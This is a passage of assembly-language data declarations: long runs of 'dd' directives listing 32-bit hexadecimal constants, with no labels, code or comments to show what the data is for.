		dd 0AE11A1B4h, 0E580B127h, 0CB3666Dh, 0E9C5C01Fh, 0CFD02E7Ch
		dd 12103C60h, 5153541Dh, 0F80BC50Ah, 0DD9221Fh,	546A3465h
		dd 572EC920h, 2B920846h, 0A3479F96h, 0E8BB4CE6h, 270C67Ah
		dd 47E13B06h, 0BA570990h, 0F3181C86h, 97471318h, 0BA4EB318h
		dd 91F7D312h, 7F2A034h,	2A7C8157h, 467F0EE1h, 862958CCh
		dd 0C41DABA1h, 0AD1F1A10h, 2B3D4B40h, 36220BDBh, 46C70A47h
		dd 0D0A8A066h, 63772AD0h, 8EA7637Eh, 0D60803E1h, 0CA03D70h
		dd 8AC4DA06h, 9F8DDA2Ah, 8B2F570h, 8D1089E4h, 52786481h
		dd 9A600565h, 0B40682B1h, 0F0152C16h, 571E3345h, 0B163C69Eh
		dd 888EC79Ah, 865E4AA7h, 42D7D72Ch, 4B13C733h, 0E7A174A8h
		dd 11855843h, 819641E7h, 770A6C36h, 51532858h, 4FA02FD1h
		dd 0EECE56ABh, 349A84DBh, 34C9F3ACh, 94E14F56h,	35E1FDCEh
		dd 9FC78C3Ah, 2C69A11h,	0EE9207CFh, 69C5C121h, 0EE4EF936h
		dd 52C1B12Ah, 0FF5585D2h, 20B9FD03h, 0FB1FEACCh, 6BF048D1h
		dd 438C8F3Ah, 0A4A20197h
		dd 512581BCh, 3E1E87C1h, 8462A1B0h, 474413B0h, 0BA1CE7B3h
		dd 0D50202EDh, 65BF470Eh, 0AD33AEDDh, 0E0A1FEB8h, 0CBA41C71h
		dd 59B01CEDh, 0C2E289C0h, 74607F8Bh, 2A00AA71h,	0A32FC4F9h
		dd 36C83CB4h, 0E85DF089h, 0B97D1A60h, 98F697F6h, 74876CD3h
		dd 0A0492F8Dh, 0FE5840F8h, 437918BAh, 0B202073Eh, 29D13849h
		dd 2A1557C6h, 7664FC50h, 76FA6028h, 4AEE89A0h, 0E7B42657h
		dd 0F4E06EAAh, 4074DC35h, 0A12B6670h, 0BBD3AABAh, 7ED904CAh
		dd 0FDEA590Eh, 62C0D9DCh, 0A27E014h, 0F70F45FBh, 9DF18F74h
		dd 60CBD758h, 45015D9Bh, 0C4F9AF57h, 9706D73Dh,	6E94C3F0h
		dd 0B0F50E7h, 5BE8550h,	606CA7ECh, 0BADCC3C8h, 1BEE397Bh
		dd 40228419h, 1A3647F8h, 6AA7B445h, 0D047B949h,	3F69AAEBh
		dd 0B6F7302Fh, 0F7169576h, 1E664155h, 0A77CC8CBh, 7E7BFC05h
		dd 0BC44717Ch, 248151Fh, 2BADDC5Dh, 0FB64B26Fh,	0ABEFA028h
		dd 6A06B953h, 153CE9DEh, 0F221EC32h, 1958F1D2h,	0A1A3B85Eh
		dd 13D74FDFh, 2AB17D35h, 456460ABh, 0E0301CB3h,	6BE0CCA1h
		dd 0C804DC24h, 4357EB0Dh, 0E5A95080h, 680D8A5h,	28410266h
		dd 0F16990E1h, 0F0ACF7D4h, 9E99F5C2h, 1BF8CCCEh, 6266E088h
		dd 80806257h, 0CBBDFBF5h, 0A8FC61ABh, 0F819290Ah, 0EBB5C560h
		dd 37AC2E9h, 1149E221h,	0B932528h, 22A6EC82h, 3D0E8CDDh
		dd 44832420h, 13C13122h, 9227987Fh, 6868F6AAh, 56BA803Dh
		dd 4D4D1E23h, 3D313448h, 0ABA4125Ch, 66E1D64Ch,	10C4414Dh
		dd 0EB2948DDh, 60B9AB9Ah, 8ECD8EC3h, 0FB01D496h, 55EB4E82h
		dd 9AB3AD50h, 89533503h, 70D8C682h, 1DD1F7B4h, 74C4549Dh
		dd 6098853Ch, 0E3C020CAh, 0C5D523C3h, 80E9629Eh, 97E587C5h
		dd 38AD57BCh, 264AD512h, 0A1081D76h, 85D24E36h,	38F5C04Eh
		dd 28282EFh, 2B08397Dh,	97F12983h, 0DAD5A8D4h, 68345751h
		dd 70B4A4BFh, 5BE4098Bh, 21171E10h, 3D0F829h, 9A066494h
		dd 0ED3A14F1h, 3CC3014h, 37029BAAh, 0A1F81105h,	830C9B4Fh
		dd 0ADDC2E91h, 1E83A0B4h, 68E9DD2Ch, 36042045h,	35FAB031h
		dd 70504DC2h, 87E1807h,	85A33633h, 70A5FF28h, 8E9170E6h
		dd 0C11FF4F2h, 0BC1A81BFh, 0B99E8188h, 0F1601FBEh, 0BAF9F5C0h
		dd 0E68D2989h, 758A1836h, 1AFF9A77h, 414D5D0Ch,	97C71EBFh
		dd 0C678DDE0h, 0A7C2DBF5h, 0B4CC0BCh, 0E3B80AF2h, 0EF24330h
		dd 115C2F36h, 2BBCEC0Dh, 3081488Ch, 3504FF15h, 78936994h
		dd 469D0C6Dh, 527AE3h, 7211D84Fh, 6ED824FEh, 145D1FDFh
		dd 0C9EBC43Eh, 8E2D2EF3h, 0ED3CB39h, 0A0BB768Eh, 155E0D80h
		dd 0F7022478h, 4B5C4638h, 658B108Bh, 303F5D1Ah,	0D8F8A445h
		dd 51219696h, 92BA1048h, 12380848h, 443EC5C2h, 0A31344BCh
		dd 38E1DF92h, 0DA10885Dh, 0CB2AFE72h, 195D8324h, 9162B6F1h
		dd 0C75BA876h, 0C2A2E831h, 634E891Fh, 25E0673Eh, 0E2ACA83Eh
		dd 0C54C54C1h, 8A2A5DB8h, 0E31C2313h, 0DD6EAE5Ah, 2BC9CD09h
		dd 0DE9208BEh, 64990154h, 7B9507C6h, 4B0A2F8Ch,	0A5211751h
		dd 1F284D18h, 485890E8h, 0B4299AFAh, 6741AA70h,	49F98F76h
		dd 738B9BBAh, 955917D6h, 0E8E0F54Ch, 0CA46FC96h, 0BC6D0634h
		dd 7E9930BDh, 8CC5C209h, 0C314A8C0h, 7C6F065Fh,	6A8362ACh
		dd 0C0F82F0h, 0AE9B5004h, 7DA11AF3h, 16067E2h, 0FDCF54B5h
		dd 1F71302Fh, 0AA0A5BEBh, 0F7CD37F8h, 0B78A4EE0h, 0D6138D7Ah
		dd 777D0407h, 0CA22EB72h, 0CC7495EEh, 531C3301h, 999C2013h
		dd 0C792B226h, 0CA3C1C57h, 0FB0464ECh, 0D15870B2h, 76A724B2h
		dd 0AE8B8EB2h, 2577657Eh, 9CC2AB4Ah, 4377C820h,	71DD2AF6h
		dd 21611581h, 523B1370h, 25183B95h, 0F9C6BB0Ch,	0D6310C43h
		dd 8C672301h, 617C1BA0h, 80DA6188h, 52B31C68h, 0E7F30393h
		dd 0AF1262C1h, 918ACE15h, 45163801h, 55399808h,	446956E8h
		dd 0EF765516h, 8937BDADh, 0C67E349h, 0F2B86621h, 3D08F3D3h
		dd 45183D03h, 37E6A1C0h, 0A7A29DB0h, 4AF4BF54h,	691A00A1h
		dd 865C41F4h, 0F1407746h, 41E0E30Bh, 500A0765h,	17F2ACBFh
		dd 6653D221h, 6A2FABB6h, 20E63A05h, 0AD61ADD5h,	9547195Dh
		dd 4E07055h, 11627D9Ah,	1DD71C88h, 8543D32Fh, 644B9E25h
		dd 0B989D7A7h, 71310143h, 0A815A3B1h, 0CEEAFA90h, 868C658Dh
		dd 63A3FF6h, 3E69075Dh,	583BB303h, 0E4F0E5A8h, 4A72F359h
		dd 7467F14h, 15E61C99h,	1E5CBAC9h, 0A461242Fh, 95E436ABh
		dd 12949629h, 9E01F0BEh, 0F8A42D57h, 0E35CB4DAh, 0A4CFAE2Ah
		dd 572E3338h, 7C4EA589h, 8EEF974h, 38A8543Fh, 929EC391h
		dd 1A42C200h, 0FBB69028h, 6BE4EB0Ch, 98DDBF2Ah,	0AF10F013h
		dd 0D2629A48h, 3F8A4C6Dh, 0ACA643Ah, 70AFA810h,	71BED141h
		dd 0DF193FF7h, 2553E148h, 23DEA6F9h, 0FA23AB30h, 0B14D1499h
		dd 46A50B8Ah, 419F50FEh, 0D245ABB7h, 824AA0Ch, 0FA4B7AD9h
		dd 91F51D6h, 18378463h,	91ABA52h, 1AC6ED53h, 0B2BB6652h
		dd 52FF0B6Ah, 43F049B8h, 92521482h, 983EB821h, 0AFEBFEAFh
		dd 4AC63C22h, 860FCE4Eh, 61612EB3h, 55041AE9h, 9849278Fh
		dd 0EA835426h, 0EB9C188Dh, 92960A2Dh, 8E31B057h, 1AC30E14h
		dd 7823D0B0h, 61BEFED0h, 0F7D14025h, 0CAA80280h, 0E4E364Ah
		dd 0E26C232Dh, 0B0AD2305h, 0C68288AAh, 32F48A0Ah, 97483A8Ah
		dd 60F932BFh, 0B98E2BCCh, 5722488Ch, 49C8A0DEh,	7C45255Ah
		dd 0AB18A559h, 0A6D345D5h, 0BA4795E6h, 66962D48h, 368DCA5Dh
		dd 3117A80Eh, 0B33D08A8h, 41F98C5Ch, 581AB54Dh,	98F13D66h
		dd 96527450h, 56BE899Eh, 0AAB2D5ECh, 0C17CC608h, 5EBAE83Bh
		dd 0D7D5A2C9h, 0E9244D68h, 0BD65A761h, 400981D5h, 0FC9B0CBBh
		dd 1E950763h, 9141AAA0h, 0C09A66BDh, 0A0038875h, 10316DECh
		dd 0B28C0BE2h, 7DBA5E94h, 0D1532357h, 0EBA01285h, 70C81573h
		dd 0CC0CDE57h, 0D2B3C6BEh, 798AFA06h, 0B4C0769Dh, 0C0EF4506h
		dd 0AB32234Fh, 0F741A8Ch, 0E297B4E6h, 0C5829585h, 54AE7248h
		dd 0A2F948C4h, 0F5F1A124h, 0C98BB24Fh, 5A303ED3h, 0C227525h
		dd 38C4D079h, 0A21CFF5Bh, 0C1D2D0AFh, 9A36856Ah, 0AA4C35D0h
		dd 293B2FF0h, 9D6EF712h, 6F7C068Bh, 6817A65Eh, 19C3A3A9h
		dd 3E20FA13h, 40CA1785h, 7D17A28Ah, 179B312h, 24AB9ECBh
		dd 0F87D8409h, 3321B58h, 0C5BDA074h, 0B5121F5h,	9E63ADD2h
		dd 76311620h, 1234A52Fh, 0B47A162h, 0E5A7F79Bh,	0EC191D12h
		dd 80107B9Ch, 460A3963h, 93D6F6DCh, 0AD5750E0h,	941C3612h
		dd 216751C8h, 738F2A4Ah, 49DFE47Ah, 5F852F90h, 0DF95214Dh
		dd 31AC837Eh, 0A19399Fh, 76DF72DDh, 9296BF83h, 30C69C07h
		dd 9126E26Ah, 168C70EEh, 482FF9Ah, 0BD3F0C91h, 6A088238h
		dd 0A9881063h, 0A0E318CAh, 14B94465h, 312C4094h, 8B1F451Dh
		dd 55945BB2h, 93DE349Eh, 0DF0F50C5h, 30EF24C9h,	30DC61A9h
		dd 6D0B31E0h, 0AA52836h, 95701AA6h, 174D22B7h, 80B42046h
		dd 7C96C651h, 215649Eh,	847A8D83h, 8E18DBEBh, 0FD1D292Bh
		dd 294CE47Eh, 904C6912h, 510981B4h, 0B9B027CEh,	360FF3FDh
		dd 666290DAh, 32A38710h, 2CD8F1A9h, 2EAD13E3h, 4E38A17Dh
		dd 1660D2DDh, 0F0B40E47h, 4F1D5BDFh, 1506F1Bh, 194ADB4Fh
		dd 34CAC51h, 300A0865h,	77A94405h, 0B4720B32h, 36FD6580h
		dd 4F22B1ECh, 0E2AAD24Bh, 46FC4B5Bh, 0E1F568C3h, 0F3C9AF07h
		dd 975EDD1Eh, 0F1390F3Bh, 0C7BCC213h, 0B631839Ch, 0F18C6ED3h
		dd 0A7018BFDh, 2B49B220h
		dd 8D8A1786h, 54E8B7A2h, 82EF5CFh, 0A7B2A7EEh, 58CFAD2Fh
		dd 0C557FD23h, 0F6FF0EC0h, 8E8DE87Dh, 0D9CEA539h, 72111B54h
		dd 0E8161C12h, 1F3E97FEh, 59AA7A22h, 0DFF125F1h, 4EA93D7Bh
		dd 24A71943h, 3C0D5DFAh, 0AB476286h, 7D083D2Ch,	34F1234Fh
		dd 5FB246F8h, 0D8023261h, 36212C64h, 937E91C7h,	0F2529D89h
		dd 0B6F30407h, 18835CFh, 0ECFE4954h, 62EFFB1Fh,	5C9F860Ah
		dd 0D799F1C5h, 14D687C6h, 98059D65h, 271866EDh,	8454C538h
		dd 0AB349E24h, 1228E194h, 44660E37h, 0C5A91252h, 0C2282448h
		dd 28A67F0Ah, 7CCABF3Ah, 0B9B03A8Ch, 0ED960235h, 998A50FDh
		dd 82AA50FCh, 7A992419h, 0B7AB1273h, 9EEAF8A9h,	0B10AA5EFh
		dd 0A08BCDACh, 4F33A8E4h, 0AE31AE31h, 0F032EC8Bh, 9F1358BBh
		dd 2C5006DAh, 32A7514Eh, 0F76D0D06h, 83176347h,	0F5EE5F24h
		dd 0FEA119Dh, 0FB4491ACh, 247D4CA2h, 4EE58FC4h,	502469DFh
		dd 0E64D0AFBh, 0A0B30E4Bh, 6AFF25C1h, 10BB5D24h, 35DC2886h
		dd 5CA8C2D2h, 0BB501563h, 7520279Eh, 44D1461Eh,	0E558B041h
		dd 0AE95B20Ah, 12645A51h, 0D3A927BAh, 1AAC6EF2h, 0D27C7296h
		dd 9172C52Eh, 73E55D45h, 0A18FA508h, 0C78B1D3Ah, 8B502ACh
		dd 8B89472Ah, 0C7D844AAh, 129820F5h, 0B1BE1819h, 0E5D61BE1h
		dd 0BAA47041h, 23AF4ED2h, 0F502837Eh, 3C42B704h, 3743F0BEh
		dd 5505BE6Ah, 0F055D707h, 0E14C7538h, 0BBE01F06h, 3910155Ah
		dd 6C26B6BEh, 0F271336Bh, 0B1C31188h, 141749ADh, 6FDF546h
		dd 61572AA9h, 0ACE8A229h, 0F42C2F66h, 9382C359h, 2AAD1CC1h
		dd 9B0054EAh, 640B66F2h, 5B5D1B0Ch, 5B7FA600h, 8E830ACBh
		dd 0FEED56B4h, 42F31901h, 60487414h, 0ED36D6BAh, 4504D210h
		dd 0B2CF4AB0h, 86114576h, 0FD1711C2h, 0EECE5FE7h, 12A1E5CCh
		dd 0C2F22071h, 378C2AB8h, 2275EA95h, 0A89DFA0Fh, 0ACE2C2C8h
		dd 0D4145F1Bh, 0B1A1A649h, 7D1ACB44h, 0A755794Ah, 0A1185922h
		dd 4D7A4731h, 0C2B99E8h, 2701E2AFh, 0A7354299h,	0FA44387Fh
		dd 29CBD8A5h, 0C460B142h, 13BE9499h, 0ED832D28h, 0F19C5DD7h
		dd 3483E4AAh, 7D804AF8h, 83C0C031h, 0D8BCA9F4h,	0B7D41841h
		dd 46AD349Ah, 1796CD9Bh, 483175E6h, 2CEF908Ch, 0FE92250Fh
		dd 4D641065h, 6095CA2Bh, 2495D572h, 0E582DAE1h,	0E8C836B8h
		dd 2ABF156h, 33E42716h,	621CC42h, 257E759Eh, 0BC1318C7h
		dd 63EEA1DAh, 6E533E95h, 127F4860h, 0BEA67C6Dh,	0D6DA089Eh
		dd 7F17C65Dh, 0BB23AE2Ch, 3CC2C450h, 323B9C72h,	8F174BE2h
		dd 7411A56Eh, 433282B6h, 10FAEEB2h, 63F8E642h, 0A0A7AE0h
		dd 25CB586Dh, 331424F5h, 3ECA669h, 89B151E9h, 2C797027h
		dd 8459A6Bh, 0C3AC1946h, 0E8A55FA1h, 0A222FA9Ah, 1541103Eh
		dd 912C8AE2h, 0FF0D2E92h, 9318E20h, 96DA5534h, 951AFA74h
		dd 93C09983h, 515816B0h, 8A24F0BFh, 4A74BECFh, 0E8F3E508h
		dd 0B8F05933h, 9307CE5Ah, 7AE3662Fh, 0BA3DC684h, 8B204C60h
		dd 155EC60Eh, 193914B4h, 244CA886h, 5B179C35h, 87A484Ch
		dd 44E05820h, 6CEAE0CCh, 0F5CC531Eh, 0BD6C8ABCh, 0DD64810Ah
		dd 9D52D81Fh, 0A1B03C40h, 0E8841598h, 45F0BA60h, 22882B9Bh
		dd 0B6666677h, 26761966h, 0DD08A9C5h, 0BC7AE1C8h, 0E09D2946h
		dd 204759C0h, 0B3018363h, 559F6D27h, 0B220A1E1h, 560FF2A0h
		dd 7B60DC3Bh, 2E9D8918h, 9821975h, 0B5414654h, 1BB332Dh
		dd 0BF649175h, 0FA7AF023h, 0BBC4C1Dh, 59912C9Eh, 8CFEE18Eh
		dd 0EF1E6DBFh, 0B318174Eh, 0C25F0EC8h, 0DA284D4Fh, 0ED5DF0A5h
		dd 9D67944Eh, 8C39F01Ah, 43D775BEh, 0B1F63904h,	550A253Ch
		dd 0BA7B8C90h, 6769BA82h, 518B18B1h, 0DE8D1C36h, 61FA6BEFh
		dd 39C8FDA4h, 9577C95Eh, 6982D1C5h, 0D25D9972h,	0B2984180h
		dd 0B7C7484h, 2193CBC8h, 85E41A84h, 36369311h, 75A9516Eh
		dd 64F9CBE0h, 465CD175h, 0E08C47A7h, 8494AF13h,	86C50592h
		dd 0B0517B39h, 13009883h, 0CEA8650Eh, 0B259A8CAh, 2C6E3BE2h
		dd 20CD8DF2h, 0F957E8A8h, 6EB3F483h, 798EC5FEh,	566FA59Dh
		dd 5ACE728Dh, 0E9A99D1Fh, 0A23D1BE2h, 56345449h, 5116A81h
		dd 0D39E60AFh, 8E4576EEh, 38FF4533h, 0F5D83BD1h, 1D18E1ADh
		dd 2044C264h, 4311F239h, 29AB8823h, 0F303C8C2h,	2FF72294h
		dd 1BB7FFF8h, 0C9285E4Dh, 4592D59Dh, 0D3BBBA5Ah, 6C907EEEh
		dd 34619573h, 11696377h, 6CCE12E9h, 0AEB6752Ah,	129E3491h
		dd 21C33CD7h, 17B9BBABh, 0D81A6363h, 0CA731440h, 96A44618h
		dd 2B8AFEAEh, 9DB3D6DBh, 9AD12D47h, 432A8547h, 3DA3A209h
		dd 0D69C0AE8h, 66254408h, 0A0E7AA39h, 0A2B2AC49h, 57C799B4h
		dd 62B781D5h, 0D9FB7E55h, 0AE490E71h, 0F85E3D88h, 0D08E1199h
		dd 0B1C8C2FEh, 462227CAh, 62ACCFB8h, 1043E880h,	9D1BBE0h
		dd 0C26413A2h, 0FA4044E8h, 244ED980h, 4B13C045h, 0D3449427h
		dd 74E1A609h, 8CC4E8E2h, 2C23A78h, 0D446F140h, 42758C09h
		dd 0A09D022Ah, 0AC27313Ah, 0AC09544Eh, 0EB425713h, 3AE0D644h
		dd 4EBC75B1h, 18839D74h, 8055275Fh, 4C235B6Dh, 88474665h
		dd 0E6410179h, 23993188h, 388E1CCAh, 0CD228473h, 45076811h
		dd 5E5539A8h, 0A6A6C259h, 0B82A42F3h, 53FC60D3h, 404AA4Fh
		dd 6D764EA9h, 890488E2h, 0ACF5763Eh, 0CBF0FD55h, 10389840h
		dd 0A2005E43h, 4F229B51h, 13C89128h, 4F2884Bh, 0D13CC213h
		dd 384D3884h, 18899021h, 0E2C299F9h, 50402789h,	0A1748D53h
		dd 0C5D297C0h, 23579EA2h, 2A79E84Eh, 0C33E4374h, 3B11F6FBh
		dd 469DEC54h, 0C0D10A3Bh, 6DB472D7h, 104A48C2h,	0D804C59h
		dd 0B952B3E1h, 0A0500AE7h, 0F23848E2h, 7EAEA7F0h, 0F5FC5018h
		dd 0EE4F0924h, 4BF056EFh, 0D01BFC18h, 68D05701h, 0B16BF8C8h
		dd 9223B9FBh, 0A4CB3EF3h, 5C6E3FB6h, 8AAE1445h,	44861895h
		dd 0DBAA172h, 0EAC87CD7h, 7FA7F20Eh, 58CC0CC6h,	0B94E543Ch
		dd 3BE9A3C6h, 45D0D691h, 0E0E0817Fh, 8A85093Fh,	5028761Fh
		dd 0D1E41F84h, 96034C68h, 3DF3BD71h, 83DCD8BDh,	26396583h
		dd 2C581ED0h, 42CF863Bh, 0A8626906h, 6395116Ah,	0C0F42B90h
		dd 7990852Dh, 4A3780DCh, 0D2861DB0h, 0C2FB2B0h,	2B316BB1h
		dd 1FEE6D4Dh, 0B91F969Ch, 0FF980957h, 6B73C6DEh, 698A53D7h
		dd 0A63FAB11h, 0D85174B5h, 547F028Fh, 6E2A529Dh, 319975Ah
		dd 0ECDA1FDh, 2526E206h, 0D90AD0FFh, 0A20840C1h, 2F071FF4h
		dd 41270FC4h, 0B72E45FEh, 7EBF37D2h, 1BA317AEh,	0F922C416h
		dd 897F014Fh, 6E64A6E7h, 22A6522Ah, 370697F1h, 8CE50Ch
		dd 51164F0Eh, 505C527h,	636450CAh, 63FECEC0h, 0BBDA118Fh
		dd 0F83E29A8h, 0FCE0EA4Ah, 2BCBF92h, 0CDCB38CEh, 4F8E53FEh
		dd 0FF664311h, 10C4368Dh, 8308E965h, 0A1D28622h, 453DBF55h
		dd 4A0C9897h, 9DC536F0h, 1FE29574h, 9BFA102Fh, 0F9C92FB1h
		dd 1420C927h, 5D3FC75Ch, 901C50A1h, 555A8FF3h, 0ECC4A1C0h
		dd 3C88C2AEh, 4EEBDE82h, 58FF6ED0h, 148C0ED1h, 53F02F0Ah
		dd 0FD263D3h, 0F96D87E5h, 7E5350A7h, 0D6773F08h, 4793B1DDh
		dd 0F27282F0h, 54FC0AA2h, 50EFDE82h, 0C69077C6h, 442785B0h
		dd 0A3FCE556h, 92410B1Dh, 0C0B0FC62h, 1A3F141Dh, 0CAE891B4h
		dd 1347CB4Bh, 1C970024h, 240A7C70h, 5038C38Dh, 36A8F1EBh
		dd 711E5082h, 2715A5A2h, 0B2225728h, 90D54AF4h,	0E9FC8FADh
		dd 0CBA53737h, 5D39B86Ah, 2C66D643h, 6E867E7Fh,	43EBF240h
		dd 4E8AAD1Bh, 6111E48Fh
		dd 593EF420h, 8FC212B4h, 0DF71ABE4h, 0A6961705h, 70BF2DABh
		dd 91298E14h, 9CDF625Fh, 0BD5D6491h, 0FDA60F5Ch, 0C80981B1h
		dd 0AF0B8BB8h, 0ED133D8Bh, 8F7702E7h, 804170E9h, 0E178217Fh
		dd 32540A85h, 0BD655548h, 0B56582A7h, 16B3155Bh, 34DAF43Ch
		dd 44916067h, 0F0C7D2AFh, 0E15DFA0Ch, 0E02B04FCh, 788CA2EBh
		dd 2C2C80C9h, 22B342E0h, 2630C18h, 0B1417B52h, 0EAC090C9h
		dd 832F8A54h, 55F13171h, 4462A5E4h, 5094B448h, 193BED1Eh
		dd 0A12B81E2h, 3ECFCDCh, 9A3CCE91h, 53819AFDh, 0D637D344h
		dd 54672837h, 0B08AE650h, 6E951B22h, 15C836C3h,	67DCD903h
		dd 0EB5C74C7h, 85506DA9h, 7AA184AFh, 0F174047Eh, 7D16487h
		dd 61AD0927h, 0B1883E8h, 0E37E08h, 0C7DDDCBBh, 3FDF1FCCh
		dd 0E5FF054Dh, 7D42BEACh, 72E585C9h, 0FF96B79Ch, 9C5707C9h
		dd 15E924ABh, 0BB1070E3h, 5939B4E7h, 73B1E565h,	0F5FD4763h
		dd 5C726609h, 74A274A7h, 5D3C2FE3h, 72DE089h, 376A0FE0h
		dd 90974991h, 3D7C17AEh, 0D9C56D7Bh, 6C6BF7CBh,	60247A54h
		dd 0E36BB28Eh, 3B3C1FD3h, 697855FEh, 6E7348D1h,	0D56263BDh
		dd 3B3D45C5h, 45E160F0h, 0E11B791Ch, 0BB3D4C26h, 213F644Eh
		dd 66108FB7h, 729A2EB2h, 5EBA778Ah, 24AD1B38h, 64FBDBB4h
		dd 0CD1D1C57h, 0AAF8676Ch, 0A768C0FCh, 0B8653D71h, 0C546617Bh
		dd 8B7CDCF3h, 0A557B56Ch, 0FAA2770h, 9243C0EDh,	7C8E6375h
		dd 8AE89810h, 14037B32h, 792111B9h, 5CA75C59h, 4012777Ah
		dd 71933B59h, 1998DC6h,	6CCB4340h, 0B6B18518h, 0C982725Dh
		dd 6B05F899h, 6B20E831h, 998E7E2Fh, 0C6C810DAh,	942EF60Fh
		dd 577E99DBh, 0F41E8D25h, 0C55261B0h, 2E4F07C3h, 80262490h
		dd 532143F3h, 0EAD75D8Fh, 0E32588A6h, 178D9B70h, 0BF45E4CFh
		dd 993C1EAFh, 0F186796Dh, 0AADFC7BFh, 550FD761h, 3155BE81h
		dd 64A95F8Ah, 0C0362DF4h, 9F678D2Eh, 995643F0h,	454871C0h
		dd 0F9FF2070h, 0ED77DCF4h, 8940F928h, 0F9330CDCh, 4E65B64Ch
		dd 0D6319A43h, 4FFC1708h, 5BE25008h, 1855D206h,	8A06D361h
		dd 0E10AE909h, 756FCAC3h, 0C9F7C05Fh, 38DE3946h, 431FDAh
		dd 2A0AA26Ch, 92007AC5h, 2031A5D5h, 40773E19h, 0CBA490F1h
		dd 9EC13552h, 517522BEh, 112A8CC5h, 0C2C36AA3h,	850C2991h
		dd 0CF62293Ch, 85512AF3h, 0AC6969B8h, 28BADBEBh, 7D36538Ah
		dd 6226C54Bh, 0ECD7BFB5h, 0AE6057E4h, 24AF88CFh, 0A31AA2Bh
		dd 161B8C6Fh, 2C6FCE0Ch, 7981320Bh, 668B0C17h, 67AD4A8Ch
		dd 6928A452h, 0D445505Ch, 0AC556062h, 80D769Bh,	4E5BBE43h
		dd 7441CC4Eh, 4AD48CB9h, 0B558914Fh, 2F98AB5Dh,	0D682B614h
		dd 0AEE8F7C7h, 8095492h, 3D41BB1Bh, 818D4D03h, 0E208FC64h
		dd 0A88C54BEh, 2C1ABF3h, 809E1C83h, 0ADED271h, 67081AC2h
		dd 78D54810h, 0CC00207Ah, 0D76464E2h, 57B76683h, 758D9E40h
		dd 0F0E95205h, 0F2B3C3F6h, 0B8549F49h, 58A01911h, 18AD6246h
		dd 8A5519FCh, 11D318A4h, 0F189710Ch, 7669975Bh,	2A07169h
		dd 46FDB1Eh, 325D9A65h,	0A86D40C4h, 40F323B6h, 5D136194h
		dd 16C9040Bh, 45420697h, 0BCFF8B4Eh, 932D1F82h,	0A11A9E9Bh
		dd 0F7A46769h, 0CAC41E99h, 0CE7AA142h, 0B15ED260h, 0AE7E0E46h
		dd 0CA599AD1h, 9A69D832h, 9598421Ah, 0D46D9C44h, 44A5CE31h
		dd 8BAA276Dh, 0E0A6CE4Fh, 41C0EC05h, 4AE22A25h,	38CC7EA1h
		dd 6562A66h, 40067994h,	0D28EEC44h, 0CBA3B037h,	68C35F5h
		dd 24A98BF8h, 7A03ACB3h, 0D5399465h, 4CA20656h,	0EF65014h
		dd 24C37714h, 35CB12B6h, 8B31EC5Ch, 71C606C5h, 0BF033D3Fh
		dd 0B18B7589h, 9DA6AD89h, 0D00BC189h, 13612960h, 627CDBBh
		dd 64202655h, 0EC4F6869h, 49946F8h, 77DC8468h, 4C405E31h
		dd 3FE681DCh, 971D0AB0h, 5A4EA7ABh, 93E68A35h, 0BFFD9B48h
		dd 0D534560Bh, 518D3989h, 313F884Bh, 3AF2362Dh,	98A5354Eh
		dd 1208F57h, 1BAE962h, 0F398C509h, 6C509781h, 3024A462h
		dd 358A31EEh, 19436C00h, 8EA5180Bh, 332A0CD4h, 77A8CC55h
		dd 2011D1ABh, 38256094h, 0BBD6A20h, 5606D2BEh, 9F971FCCh
		dd 0D76B4A55h, 13B36B2Dh, 0CB1945BFh, 260FB74Bh, 935898FDh
		dd 1666E840h, 16354223h, 424E40A1h, 8161DEBAh, 7ACD5D72h
		dd 0B3487FEAh, 0BE4D2924h, 8DB5501Eh, 40C68691h, 4BD78133h
		dd 9A6EF136h, 698E3014h, 0E03052A2h, 90CB1677h,	51DC9830h
		dd 0B56140A6h, 50FAA1C0h, 56652F81h, 361AC6E1h,	4DECBA51h
		dd 80855815h, 521282D7h, 6B59FA8Ah, 0E93A892Bh,	500494AEh
		dd 809C8453h, 0D4D1FB39h, 8AA2469Ch, 4D3A4743h,	4266D307h
		dd 0BC5E81B1h, 6E5D2BF5h, 48C03546h, 182DEF09h,	532F1CBFh
		dd 0FCC81E47h, 0D4CBAB4Dh, 797CC651h, 0FEE3EC51h, 80C565D1h
		dd 6A0A65F1h, 983ADCB4h, 0BF1CA9C5h, 1CBD4C30h,	3582D460h
		dd 45017110h, 553B634Fh, 8C1D9413h, 0CCC14402h,	0B4F68608h
		dd 8731015Fh, 0BE426454h, 8F8C04F2h, 0BA9D82EDh, 945484ACh
		dd 0C14273D0h, 1C86E42Ah, 513215h, 1BA02332h, 0DFF2028h
		dd 0EC133AC8h, 5C47C6EDh, 38E0F559h, 50B951C4h,	2F46C862h
		dd 0F6EE4A97h, 49C88785h, 30903A26h, 0D21880A9h, 0CAEC5C02h
		dd 0B2FFB24Eh, 714BB732h, 6E222AACh, 7686D5C8h,	529067F7h
		dd 61A0AEF4h, 0C0692C4Ch, 97FFBAFEh, 6FE803C1h,	9C66E057h
		dd 9845BFDDh, 0C6699471h, 0EE6A30C9h, 63B4A92h,	90F78381h
		dd 0EB30A51Eh, 2B3DD4B8h, 0BB4D1A1Bh, 4878FF91h, 0EAEB9C78h
		dd 3CAAC6C2h, 17CBB4Eh,	849D246Eh, 5159E1DBh, 665CD3B5h
		dd 50E32583h, 3D6885DEh, 4C0A358Ch, 0CCD21937h,	0F0E2BB39h
		dd 5B61F598h, 0A74020CCh, 0E12685D8h, 0A8C18187h, 18A80B5Eh
		dd 1A9D236Dh, 0A5412195h, 93135EACh, 0E05A4500h, 30725D3Eh
		dd 79C4294Eh, 20CEC517h, 272E30B6h, 6708A689h, 5EE2E9BDh
		dd 0D14F5EEh, 324A3AF4h, 5FB3849Dh, 1A4CD604h, 30B9386Bh
		dd 0EF0269BCh, 0C10B9A22h, 4FE4BA2Fh, 0A00B6632h, 1A4A242Dh
		dd 0ECD8B39Eh, 9FD05092h, 4F8CBB3h, 80C384BEh, 540265ECh
		dd 47D7C865h, 9DF8281Fh, 0C092475Dh, 0F2EDDA50h, 0A2885D9Dh
		dd 5A18254Dh, 22F7D104h, 3A56943Dh, 0B04C684Dh,	0ED810CB1h
		dd 28676920h, 4FB14C21h, 4717DFB4h, 0D35E832Ah,	0A1AFCA27h
		dd 457B5C1h, 70B770A2h,	9A1E9513h, 0AF2126F5h, 91ADD370h
		dd 0DB42EDEBh, 4623B562h, 0E0595D21h, 5DE4A03Ch, 5E0C2E70h
		dd 77512367h, 84A965Bh,	0C05C7C4h, 7CD69BA9h, 36933E8Fh
		dd 901172B0h, 4E5650ECh, 1BA4A867h, 6420A57Dh, 207A7EA2h
